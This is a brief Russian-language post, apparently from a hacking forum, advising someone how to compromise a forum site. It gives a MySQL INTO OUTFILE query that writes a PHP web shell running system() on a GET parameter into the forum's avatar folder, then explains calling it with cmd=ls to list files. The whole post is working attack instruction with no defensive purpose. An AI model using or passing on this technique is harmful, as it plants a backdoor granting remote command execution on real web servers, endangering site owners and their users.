SELECT '<?php system($_GET[cmd]); ?>' FROM mysql.user INTO OUTFILE '/usr/home/virtual/xxx/htdocs/forums/html/style_avatars/shell.php'

попробуй вот так...

потом иди к <forum path>./style_avatars/shell.php?cmd=ls

должно вывести список файлов в каталоге...